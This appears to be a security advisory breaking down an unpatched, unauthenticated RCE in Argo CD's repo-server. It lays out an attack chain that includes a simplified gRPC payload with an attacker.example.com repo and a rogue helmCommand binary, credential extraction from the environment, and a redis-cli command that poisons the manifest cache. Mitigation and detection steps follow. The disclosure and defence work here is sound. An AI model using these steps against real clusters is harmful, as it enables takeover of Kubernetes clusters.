Argo CD Repo-Server: 18-Month Unpatched Zero-Auth RCE Enables Full Kubernetes Cluster Takeover
Technical breakdown of the 18-month unpatched zero-authentication RCE in Argo CD enabling full Kubernetes takeover.
This post is part of the Week of July 3, 2026 Security Roundup.
Overview
On July 1, 2026, Synacktiv publicly disclosed an unpatched, zero-authentication RCE vulnerability in Argo CD's repo-server. The vulnerability was first reported to Argo CD maintainers in January 2025. After eighteen months without a patch or CVE assignment, Synacktiv published full details including a demonstration of complete Kubernetes cluster takeover. No fix is currently available.
Argo CD Architecture and Attack Surface
Argo CD is a declarative GitOps continuous delivery controller for Kubernetes. Its key components:
- argocd-server — External API and UI (authenticated)
- argocd-repo-server — Reads Git repos and generates Kubernetes manifests (internal, port 8081)
- argocd-application-controller — Reconciles cluster state
- argocd-redis — Shared cache (port 6379)
The repo-server is designed as internal-only, but its gRPC service on port 8081 has no authentication mechanism. Access control relies entirely on Kubernetes NetworkPolicy — which the Argo CD Helm chart leaves disabled by default.
Full Attack Chain
Phase 1 — Reach repo-server (port 8081)
Prerequisites: Any pod in the cluster (compromised workload, supply chain compromise, etc.) with network access, or direct exposure of repo-server to the network due to misconfigured NetworkPolicy (common in Helm chart installations with default settings).
Phase 2 — Exploit kustomize --helm-command via unauthenticated gRPC
The repo-server processes GenerateManifest gRPC calls from other Argo CD components. An attacker sends a crafted GenerateManifest request with an ApplicationSource that sets kustomize.helmCommand to an attacker-controlled binary path:
# Simplified representation of the malicious gRPC payload
ApplicationSource {
repoURL: "https://attacker.example.com/repo",
targetRevision: "main",
kustomize: {
helmCommand: "/tmp/evil_binary" # injected via earlier write
}
}
kustomize executes the specified binary as the "Helm" executable, achieving arbitrary code execution as the repo-server pod's service account. Synacktiv's tool argo-cdown automates this step.
Phase 3 — Extract Redis password
The repo-server pod's environment variables include REDIS_PASSWORD:
# Executed in repo-server context after RCE:
env | grep -E "REDIS|ARGOCD"
# REDIS_PASSWORD=a9f3b2c1d8e4f7a0b3c6d9e2f5a8b1c4
# ARGOCD_SERVER=argocd-server:443
Phase 4 — Poison the manifest cache
Argo CD caches generated Kubernetes manifests in Redis for performance. The attacker connects to Redis using the extracted password and overwrites cached manifest entries:
redis-cli -h argocd-redis.argocd.svc.cluster.local -p 6379 -a "$REDIS_PASSWORD" SET "app:production-app:manifests" "$(cat /tmp/evil_deployment.yaml)"
The poisoned manifests contain attacker-supplied Kubernetes workloads — privileged pods, DaemonSets with hostPath mounts, ClusterRoleBinding grants, etc.
Phase 5 — Automatic sync delivers the payload
Argo CD syncs by default every 3 minutes. On the next sync cycle, the application controller reads the poisoned cache and applies the attacker's workloads to the cluster. The entire cluster is now compromised.
Disclosure Timeline
- January 2025 — Synacktiv reports to Argo CD maintainers
- January 2025 – June 2026 — 18 months: no CVE, no patch, no public advisory
- July 1, 2026 — Synacktiv publishes full disclosure
- TBD —
argo-cdownexploit tool to be published on GitHub (withheld temporarily to allow defenders time to apply NetworkPolicies)
Mitigation (No Patch Available)
# 1. Apply NetworkPolicies — restrict repo-server and Redis to argocd namespace only
# For kustomize installs — apply network policies from official manifests:
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml
# For Helm chart installs — enable network policies:
helm upgrade argocd argo/argo-cd --namespace argocd --reuse-values --set networkPolicies.enabled=true
# 2. Verify repo-server port 8081 is inaccessible from other namespaces
kubectl run nettest --image=busybox --rm -it --restart=Never --namespace=default -- nc -zv argocd-repo-server.argocd.svc.cluster.local 8081
# Should fail with: nc: argocd-repo-server.argocd.svc.cluster.local (10.x.x.x:8081): Connection refused
# 3. Verify Redis port 6379 is inaccessible from other namespaces
kubectl run redischeck --image=redis:alpine --rm -it --restart=Never --namespace=default -- redis-cli -h argocd-redis.argocd.svc.cluster.local ping
# Should fail to connect
# 4. Rotate Redis password as additional defense
kubectl -n argocd create secret generic argocd-redis --from-literal=auth=$(openssl rand -hex 32) --dry-run=client -o yaml | kubectl apply -f -
kubectl -n argocd rollout restart deployment/argocd-repo-server
kubectl -n argocd rollout restart deployment/argocd-redis
kubectl -n argocd rollout restart statefulset/argocd-application-controller
Detection
# Monitor repo-server for unexpected gRPC calls (Sysmon/eBPF/Falco)
# Falco rule to detect unexpected connections to repo-server port:
# condition: evt.type=accept and fd.sport=8081 and not k8s.pod.name startswith "argocd-"
# Check Argo CD application history for unexpected synced resources
argocd app history production-app --auth-token $ARGOCD_TOKEN
# Monitor Redis for unexpected SET operations on manifest keys
redis-cli -h argocd-redis.argocd.svc.cluster.local -a "$REDIS_PASSWORD" MONITOR | grep "SET.*manifests"